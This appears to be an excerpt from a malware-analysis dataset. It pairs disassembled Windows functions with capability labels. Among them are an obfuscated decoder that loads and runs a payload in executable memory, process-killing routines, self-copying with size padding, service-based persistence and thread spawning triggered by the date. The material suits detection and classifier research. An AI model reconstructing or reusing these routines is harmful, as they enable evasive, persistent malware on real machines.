joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001e2e8
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x438
mov eax, 0x10025b04
call fcn.10023418
mov eax, dword [ebp + 8]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x43c], eax
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x424], ax
xor esi, esi
lea eax, [ebp - 0x422]
push esi
push eax
call sub.MSVCR100.dll_memset
xor eax, eax
push edi
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push esi
push eax
call sub.MSVCR100.dll_memset
fldz
add esp, 0x18
fstp qword [ebp - 0x444]
lea eax, [ebp - 0x42c]
push eax
push 0x20019
push esi
push str.SoftwareMicrosoftSoftGrid
mov ebx, 0x104
push 0x80000002
mov dword [ebp - 0x438], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1001e531
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x21c]
push eax
mov dword [ebp - 0x428], esi
push esi
jmp 0x1001e402
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCR100.dll__wtof]
fldz
fcomp st(1)
pop ecx
fnstsw ax
test ah, 5
jp 0x1001e3e2
fld qword [ebp - 0x444]
fcomp st(1)
fnstsw ax
test ah, 5
jp 0x1001e3e2
lea eax, [ebp - 0x21c]
fstp qword [ebp - 0x444]
push eax
lea eax, [ebp - 0x424]
push ebx
push eax
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
jmp 0x1001e3e4
fstp st(0)
inc dword [ebp - 0x428]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x21c]
push eax
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
call edi
mov dword [ebp - 0x430], eax
cmp eax, esi
je 0x1001e39a
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x430], 0x103
jne 0x1001e531
mov ebx, dword [sym.imp.MSVCR100.dll_wcslen]
push str.ClientUserInterface
call ebx
mov edi, str.SoftwareMicrosoftSoftGrid_
push edi
mov dword [ebp - 0x430], eax
call ebx
mov ecx, dword [ebp - 0x430]
lea ebx, [ecx + eax + 0x105]
xor ecx, ecx
push 2
pop edx
mov eax, ebx
mul edx
seto cl
mov dword [ebp - 0x428], esi
mov dword [ebp - 4], esi
neg ecx
or ecx, eax
push ecx
call fcn.1002373f
add esp, 0xc
mov dword [ebp - 0x428], eax
cmp eax, esi
je 0x1001e531
push ebx
push esi
push eax
call fcn.1002373f
push edi
push ebx
push dword [ebp - 0x428]
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
mov edi, dword [sym.imp.MSVCR100.dll_wcscat_s]
lea eax, [ebp - 0x424]
push eax
push ebx
push dword [ebp - 0x428]
call edi
push str.ClientUserInterface
push ebx
push dword [ebp - 0x428]
call edi
add esp, 0x30
lea eax, [ebp - 0x42c]
push eax
push 0x20019
push esi
push dword [ebp - 0x428]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1001e525
push dword [ebp - 0x434]
push str.LaunchCommand
push dword [ebp - 0x42c]
call fcn.1001e1a1
add esp, 0xc
push dword [ebp - 0x43c]
push 0x1002ac28
push dword [ebp - 0x42c]
call fcn.1001e1a1
add esp, 0xc
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x428]
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
pop ecx
call fcn.10023474
ret
Function at 0x10021388
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x100327bc]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x100331a8], 0
jne 0x10021493
push 0x94
lea eax, [ebp - 0x98]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0x94], 4
jbe 0x1002147d
cmp dword [ebp - 0x94], 5
je 0x1002143c
cmp dword [ebp - 0x94], 6
jne 0x10021489
mov eax, dword [ebp - 0x90]
sub eax, 0
je 0x10021430
dec eax
je 0x10021424
dec eax
je 0x10021418
dec eax
jne 0x10021489
mov dword [0x100331a8], 0x6b
jmp 0x10021493
mov dword [0x100331a8], 0x6a
jmp 0x10021493
mov dword [0x100331a8], 0x69
jmp 0x10021493
mov dword [0x100331a8], 0x68
jmp 0x10021493
mov eax, dword [ebp - 0x90]
sub eax, 0
je 0x10021471
dec eax
je 0x10021465
dec eax
je 0x10021459
mov dword [0x100331a8], 0x67
jmp 0x10021493
mov dword [0x100331a8], 0x66
jmp 0x10021493
mov dword [0x100331a8], 0x65
jmp 0x10021493
mov dword [0x100331a8], 0x64
jmp 0x10021493
mov dword [0x100331a8], 1
jmp 0x10021493
mov dword [0x100331a8], 0x6c
mov ecx, dword [ebp - 4]
mov eax, dword [0x100331a8]
xor ecx, ebp
call fcn.1002336a
leave
ret

Function at 0x1002336a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100327bc]
jne 0x10023374
repz ret
jmp fcn.10023b89

Function at 0x1002373f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1002374e
pop dword [ebp - 8]
mov eax, 0xf3ce3dd1
add eax, 0x1c33f97d
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xb9947f4
sub dword [ebp - 0x18], 0xbd4702a9
mov dword [ebp - 0x14], 0x7de084be
add dword [ebp - 0x14], 0xb452c787
mov dword [ebp - 0x10], 0xe8e5306d
add dword [ebp - 0x10], 0x636713c1
mov dword [ebp - 0xc], 0x29c84e29
sub dword [ebp - 0xc], 0x29c84e29
lea eax, [ebp - 0x18]
push eax
mov eax, 0x9fb64dbb
add eax, 0x704c23d1
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xd1c30ed1
add dword [ebp - 0x18], 0xa2af5a85
mov dword [ebp - 0x14], 0xd7289f41
add dword [ebp - 0x14], 0x6a43c234
mov dword [ebp - 0x10], 0xc9ff02ae
sub dword [ebp - 0x10], 0x668f9642
mov dword [ebp - 0xc], 0xe78db267
add dword [ebp - 0xc], 0x18724d99
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x8b0936db
add eax, 0x84f93aa5
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x404af
push 0
call eax
mov ecx, 0x6f984c45
add ecx, 0x9067fa89
xor edx, edx
add edx, eax
mov ebx, 0x5e572bef
add ebx, 0xb1ac6c11
add ebx, dword [ebp - 8]
mov edi, 0xd4312925
add edi, 0x8de4a90a
sub dword [ebp - 4], esi
mov esi, dword [ebx]
xor dword [ebp - 4], ecx
sub esi, edi
mov dword [edx], esi
mov dword [ebp - 4], 0x422310db
add edx, 0x1b2abec0
add edx, 0xe4d54144
add ebx, 0x610e4e79
add ebx, 0x9ef1b18b
loop 0x10023872
add eax, 0x34478606
add eax, 0xcbb98805
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x321b9c96
sub ecx, 0x221b9c96
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x4013fa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
push 0x40e0c0
call fcn.004074b0
xor ebx, ebx
mov dword [esp], 0x40fde0
push ebx
mov dword [ebp - 0x14], eax
call fcn.0040530f
push ebx
push 0x40fba1
call fcn.00403464
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x444]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp + 8]
mov dword [ebp - 0x340], 0x224
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x18], eax
push ecx
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x4015ef
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073c0
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.0040c590
add esp, 0x10
test eax, eax
je 0x4015ef
push dword [ebp - 0x338]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4015ef
push esi
mov esi, 0x80000
push edi
push esi
mov edi, 0x411970
push ebx
push edi
call fcn.00407360
mov eax, dword [ebp - 0x328]
add esp, 0xc
cmp eax, esi
jb 0x4014e1
mov eax, esi
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 8], ebx
jne 0x401506
lea ecx, [ebp - 8]
push ecx
push eax
push edi
push dword [ebp - 0x32c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4015e1
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x4015e1
push dword [ebp + 8]
push 0x40fba1
call fcn.00403434
push eax
mov dword [ebp - 0x10], eax
call fcn.004074b0
xor esi, esi
add esp, 0xc
cmp dword [ebp + 0xc], esi
mov ebx, eax
je 0x40153c
lea eax, [ebx + 0x6e]
mov dword [ebp - 8], eax
jmp 0x40153f
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 0xa
je 0x4015d2
push dword [ebp - 0x14]
lea edi, [esi + 0x411970]
push edi
push 0x40e0c0
call fcn.0040c4e0
add esp, 0xc
test eax, eax
je 0x4015cb
cmp dword [ebp + 0xc], 0
jne 0x40158b
push ebx
push edi
push dword [ebp - 0x10]
call fcn.0040c4e0
add esp, 0xc
test eax, eax
je 0x40158b
mov eax, dword [ebp - 8]
inc esi
sub eax, ebx
sub eax, 0xa
cmp esi, eax
jb 0x40154a
jmp 0x4015d2
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x40fdcc
call fcn.00403434
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x4015cb
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp + 8], eax
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x401512
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop ebx
pop edi
pop esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x403f63
Capabilities:
Get file size
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x13000
push ebx
push esi
push edi
jl 0x403f9d
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor ebx, ebx
push ebx
push 0x20
push 3
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403fa4
xor eax, eax
jmp 0x404028
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, dword [ebp + 0xc]
jle 0x403fcb
push ebx
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x40401e
push 2
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp + 0xc]
sub eax, esi
mov esi, 0x80000
mov dword [ebp + 8], eax
mov ecx, esi
cdq
idiv ecx
cmp eax, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
jle 0x404009
mov dword [ebp + 0xc], eax
lea eax, [ebp - 4]
push 0
push eax
push esi
push 0x411970
push edi
call ebx
dec dword [ebp + 0xc]
jne 0x403ff5
lea eax, [ebp - 4]
push 0
push eax
mov eax, dword [ebp + 8]
cdq
idiv esi
push edx
push 0x411970
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4044e4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x18]
or dword [ebp - 8], 0xffffffff
push eax
push 0
push dword [ebp + 0x14]
mov dword [ebp - 4], eax
call fcn.00407360
add esp, 0xc
lea eax, [ebp + 0x18]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40451a
push 1
pop eax
leave
ret
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
leave
ret

Function at 0x404540
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x40455c
push 1
pop eax
pop ebp
ret
push dword [ebp + 0x14]
call fcn.004074b0
pop ecx
push eax
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ebp
ret
Function at 0x4048ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491e88], 0
jne 0x40492a
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x404821
push eax
push closesocket
call fcn.00404586
add esp, 0x18
jmp 0x404966
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491a78
call fcn.004073c0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x40478d
push eax
push closesocket
call fcn.00404604
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491e8c], eax
jne 0x404a47
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push 0x40f769
push eax
call fcn.004073c0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.004074b0
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c61c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073c0
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a24
inc esi
cmp esi, 0xa
jl 0x40498b
lea eax, [ebp - 0x18]
push eax
push 0x491974
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
push 0x491b7c
call fcn.004073c0
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b9c
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bd7
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bd7
cmp byte [ecx + 1], 0x5a
jne 0x404bd7
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bd7
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4053e8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004046ab
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d84
call fcn.00407360
push esi
push edi
push 0x491c80
call fcn.00407360
push esi
push edi
push 0x491b7c
call fcn.00407360
push esi
push edi
push 0x491a78
call fcn.00407360
push esi
push edi
push 0x491974
call fcn.00407360
add esp, 0x40
push 0x40e0d0
push 0x1eac
push 0x40e0d4
call fcn.00403529
push 0x491e90
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491e98], edi
mov dword [0x491e88], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4054a8
cmp dword [ebp - 0x8c], ebx
jne 0x4054a8
mov dword [0x491e98], ebx
call fcn.004048ef
mov esi, 0x7d000
push esi
call fcn.00407bff
cmp eax, edi
pop ecx
mov dword [0x491970], eax
jne 0x4054c6
xor eax, eax
jmp 0x4054ea
push esi
push edi
push eax
call fcn.00407360
call fcn.004055a8
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.0040530f
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4055a8
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x40fb6f
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x40fc6f
je 0x40560d
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491ea0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491e9c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea4], eax
push 3
push 0x40fb6f
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405637
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea8], eax
mov edi, 0x40fda4
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405658
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491eac], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fc8
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b7c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1ec0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e88], ebx
mov edi, 0x491974
je 0x406964
push esi
push edi
push 0x491a78
push closesocket
call fcn.00404540
push 1
push 0x40fb6f
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push 0x40fc6f
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491e88], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491e90], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc8
ret
Function at 0x406ab2
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21d4
call fcn.00407bd0
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406ae6
push dword [ebp + 8]
call fcn.0040471a
test eax, eax
pop ecx
jne 0x406c24
mov edi, 0x40fd50
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b0a
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x40f1dc
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406b2f
push ebx
call fcn.004046ab
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406c24
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1ec0
lea eax, [ebp - 0x21d4]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [ebp - 0x21d4]
mov byte [ebp - 0x11c0], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054ef
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073c0
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004073d0
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050fd
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406dbf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406dd1
cmp word [ebp - 0xe], 6
jne 0x406dd1
and dword [0x491e94], 0
cmp ax, 7
mov dword [0x491e98], ebx
jne 0x406e0a
mov dword [0x491e94], ebx
cmp ax, bx
jne 0x406e15
mov dword [0x491e94], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d66
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406e17
push 0x1b7740
call edi
call fcn.00406da8
push 0xffffffffffffffff
call edi
jmp 0x406dd1
Function at 0x406f66
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push edi
push edi
push 0x4015ff
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x4060cd
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x40684b
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x405e44
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406e45
push edi
push edi
call esi
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x406a3b
push edi
push edi
call esi
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push edi
push ebx
push 0x4069ee
push edi
push edi
call esi
inc ebx
cmp ebx, 0x1a
jl 0x406fd1
call fcn.00406dbf
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407056
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
lea eax, [ebp - 0x1a0]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.004053e8
test eax, eax
je 0x4070cb
call fcn.0040686a
cmp byte [0x40f0d4], 0
je 0x407094
push 0x40f0d4
call fcn.004058ed
test eax, eax
pop ecx
jne 0x4070cb
cmp dword [0x491e90], 0
je 0x4070bd
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x491974
push eax
mov dword [ebp - 0xc], 0x407037
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.00404b20
test eax, eax
je 0x4070cb
call fcn.00406f66
xor eax, eax
leave
ret 0x10
Function at 0x40a985
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x411488
cmp edx, dword [eax]
je 0x40a9a7
add eax, 8
inc ecx
cmp eax, 0x411518
jl 0x40a998
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x411488]
jne 0x40aad5
mov eax, dword [0x491ec0]
cmp eax, 1
je 0x40aaaf
test eax, eax
jne 0x40a9d8
cmp dword [0x4110b4], 1
je 0x40aaaf
cmp edx, 0xfc
je 0x40aad5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40aa0f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004073c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004074b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40aa52
lea eax, [ebp - 0x1a4]
push eax
call fcn.004074b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40d5b0
push edi
call fcn.0040ac30
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004073c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004073d0
lea eax, [ebp - 0xa0]
push 0x40d590
push eax
call fcn.004073d0
push dword [esi + 0x41148c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004073d0
push pe_overlay
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040bd08
add esp, 0x2c
pop edi
jmp 0x40aad5
lea eax, [ebp + 8]
lea esi, [esi + 0x41148c]
push 0
push eax
push dword [esi]
call fcn.004074b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret